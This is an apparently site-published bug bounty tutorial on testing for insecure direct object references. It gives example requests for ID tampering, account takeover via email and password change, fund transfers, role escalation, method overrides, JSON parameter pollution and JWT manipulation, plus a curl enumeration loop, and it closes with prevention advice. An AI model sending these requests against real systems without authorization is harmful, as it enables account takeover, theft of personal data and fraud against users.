IDOR Testing Methodology: Finding Insecure Direct Object References in Bug Bounty (2025)
Insecure Direct Object Reference (IDOR) vulnerabilities remain one of the most rewarding findings in bug bounty programs — they are common, often critical severity, and frequently overlooked by automated scanners. An IDOR occurs when an application exposes internal object references (IDs, filenames, database keys) and fails to verify that the requesting user is authorized to access the referenced object.
Understanding IDOR Fundamentals
At its core, IDOR is an access control failure. The application uses a user-supplied identifier to fetch data but does not verify ownership or authorization:
# Vulnerable endpoint — no authorization check
GET /api/users/1042/profile → Returns user 1042's data
GET /api/users/1043/profile → Returns user 1043's data (IDOR!)
# Vulnerable document download
GET /documents/download?id=8291 → Downloads document 8291
GET /documents/download?id=8292 → Downloads someone else's document
# Vulnerable order endpoint
GET /api/orders/ORD-20250101-001 → Your order
GET /api/orders/ORD-20250101-002 → Someone else's order
IDOR Detection Methodology
Step 1: Map All Object References
Before testing, systematically identify every location where the application references objects:
- URL path parameters:
/users/123,/accounts/abc-def - Query parameters:
?user_id=123,?file=report.pdf - POST/PUT body fields:
{"account_id": 123} - HTTP headers:
X-User-Id: 123, custom auth headers - Cookies:
user_session=base64(user_id:123) - File paths:
/uploads/user_123/avatar.jpg - GraphQL variables:
query { user(id: "123") { ... } }
Step 2: Create Multiple Test Accounts
You need at least two accounts to test IDOR properly:
# Account A (Attacker): user_id=1042, role=user
# Account B (Victim): user_id=1043, role=user
# Account C (Admin): user_id=1001, role=admin
# Test matrix:
# A accessing B's resources → Horizontal privilege escalation
# A accessing C's resources → Vertical privilege escalation
# Unauthenticated access → Authentication bypass
Step 3: Systematic Parameter Tampering
# Numeric ID manipulation
Original: GET /api/profile?id=1042
Tampered: GET /api/profile?id=1043 # Increment
Tampered: GET /api/profile?id=1041 # Decrement
Tampered: GET /api/profile?id=1 # Admin (often ID 1)
Tampered: GET /api/profile?id=0 # Edge case
# String-based ID manipulation
Original: GET /api/users/john.doe
Tampered: GET /api/users/admin
Tampered: GET /api/users/jane.smith
# Encoded ID manipulation
Original: GET /api/data/eyJ1c2VyIjoxMDQyfQ== # base64({"user":1042})
Tampered: GET /api/data/eyJ1c2VyIjoxMDQzfQ== # base64({"user":1043})
# Hash-based ID manipulation (MD5, SHA1)
Original: GET /api/files/5d41402abc4b2a76b9719d911017c592
# Try: md5("admin"), md5("1"), known hash patterns
Horizontal Privilege Escalation
Accessing resources belonging to users with the same privilege level:
API Endpoint Testing
# User profile IDOR
GET /api/v1/users/me → {"id": 1042, "email": "attacker@test.com"}
GET /api/v1/users/1043 → {"id": 1043, "email": "victim@test.com"} # IDOR!
# Order history IDOR
GET /api/orders?user_id=1042 → Attacker's orders
GET /api/orders?user_id=1043 → Victim's orders
# Message/conversation IDOR
GET /api/messages/conversation/5001 → Attacker's conversation
GET /api/messages/conversation/5002 → Victim's private messages
# File access IDOR
GET /api/files/user/1042/documents → Attacker's files
GET /api/files/user/1043/documents → Victim's sensitive files
Write-Based IDOR (More Critical)
# Modify another user's profile
PUT /api/users/1043/profile
{"email": "attacker@evil.com"} # Account takeover via email change
# Delete another user's data
DELETE /api/users/1043/posts/789
# Transfer another user's funds
POST /api/transfer
{"from_account": "1043", "to_account": "1042", "amount": 1000}
# Change another user's password
POST /api/users/1043/change-password
{"new_password": "hacked123"}
Vertical Privilege Escalation
Accessing resources or actions restricted to higher privilege levels:
# Access admin panel
GET /api/admin/users # As normal user
GET /api/admin/settings # As normal user
# Modify user roles
PUT /api/users/1042
{"role": "admin"} # Self-promote
# Access admin-only endpoints with user token
GET /api/internal/reports
Authorization: Bearer USER_TOKEN
# Parameter-based role escalation
POST /api/register
{"username": "attacker", "password": "pass", "role": "admin"}
{"username": "attacker", "password": "pass", "isAdmin": true}
UUID and Non-Sequential ID Testing
UUID Predictability Analysis
Many developers assume UUIDs are unguessable, but UUID v1 contains timestamp and MAC address information:
# UUID v1 (time-based) — PREDICTABLE
550e8400-e29b-11d4-a716-446655440000
│ │ │
│ │ └── Version 1 indicator
│ └── Timestamp
└── Timestamp (low bits)
# UUID v4 (random) — Generally safe
f47ac10b-58cc-4372-a567-0e02b2c3d479
│
└── Version 4 indicator
# If you see UUID v1, you can predict other UUIDs by adjusting the timestamp
# Tools: uuid-time (Python), uuidtools (Ruby)
Finding Leaked References
# Check these locations for leaked IDs/UUIDs:
# 1. JavaScript source files
grep -r "user_id|userId|account_id" *.js
# 2. API responses that include other users' IDs
GET /api/posts → {"posts": [{"author_id": 1043, ...}]}
# 3. WebSocket messages
# 4. HTML source comments
# 5. Exported reports (CSV, PDF metadata)
# 6. Email headers and links
# 7. Public user profiles that leak internal IDs
Automating IDOR Detection
Burp Suite Autorize Extension
# Setup:
# 1. Install Autorize from BApp Store
# 2. Configure low-privilege session cookie
# 3. Browse as high-privilege user
# 4. Autorize replays each request with low-privilege cookie
# 5. Compare responses for unauthorized access
# Manual automation with curl
# Capture request as user A, replay with user B's token
curl -H "Authorization: Bearer TOKEN_B" \
"https://target.com/api/users/1042/data"
# Compare response lengths to detect IDOR
for id in $(seq 1040 1050); do
resp=$(curl -s -o /dev/null -w "%{'{'}http_code{'}'} %{'{'}size_download{'}'}" \
-H "Authorization: Bearer TOKEN_A" \
"https://target.com/api/users/$id/profile")
echo "ID $id: $resp"
done
Parameter Mining
# Use Arjun or ParamSpider to discover hidden parameters
# These might accept object references
python3 arjun.py -u "https://target.com/api/endpoint" -m GET
# Common hidden IDOR parameters:
id, user_id, uid, account_id, cid, order_id, doc_id,
pid, rid, file_id, invoice_id, org_id, team_id,
project_id, report_id, subscription_id
Advanced IDOR Techniques
HTTP Method Switching
# If GET is blocked, try other methods
GET /api/users/1043 → 403 Forbidden
POST /api/users/1043 → 200 OK (IDOR!)
PUT /api/users/1043 → 200 OK
PATCH /api/users/1043 → 200 OK
# Try overriding methods via headers
GET /api/users/1043
X-HTTP-Method-Override: PUT
X-Method-Override: DELETE
JSON Parameter Pollution
# Send duplicate parameters — server might use the second one
POST /api/update
{"user_id": 1042, "user_id": 1043, "email": "attacker@evil.com"}
# Nested object injection
POST /api/update
{"profile": {"user_id": 1043}, "email": "attacker@evil.com"}
# Array injection
POST /api/delete
{"ids": [1042, 1043, 1044]}
Combining IDOR with JWT Manipulation
Pair IDOR testing with JWT attack techniques for maximum impact:
# Decode JWT to find embedded user IDs
# Header.Payload.Signature
# Payload: {"sub": "1042", "role": "user"}
# Modify JWT payload (if signature is not verified)
# Change sub to 1043 or role to admin
# Test with none algorithm, weak secret, key confusion
IDOR Impact Escalation
When writing bug bounty reports, demonstrate maximum impact:
- Read IDOR: Show access to PII, financial data, medical records
- Write IDOR: Demonstrate account takeover (email change → password reset)
- Delete IDOR: Show data destruction capability
- Chain with other bugs: IDOR + XSS = stored XSS in victim's account
Prevention
- Implement server-side authorization checks on every request — verify the authenticated user owns the requested resource
- Use indirect object references (map user-visible IDs to internal IDs per session)
- Prefer UUID v4 over sequential integers (but still enforce authorization)
- Implement object-level access control in your API framework
- Log and monitor for sequential access patterns that indicate enumeration
Generate IDOR testing payloads with our IDOR Payload Generator. Use the Encoder/Decoder for base64 and JWT manipulation, and review the IDOR Cheat Sheet for a complete reference. For JWT-specific attacks, see the JWT Attack Generator.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides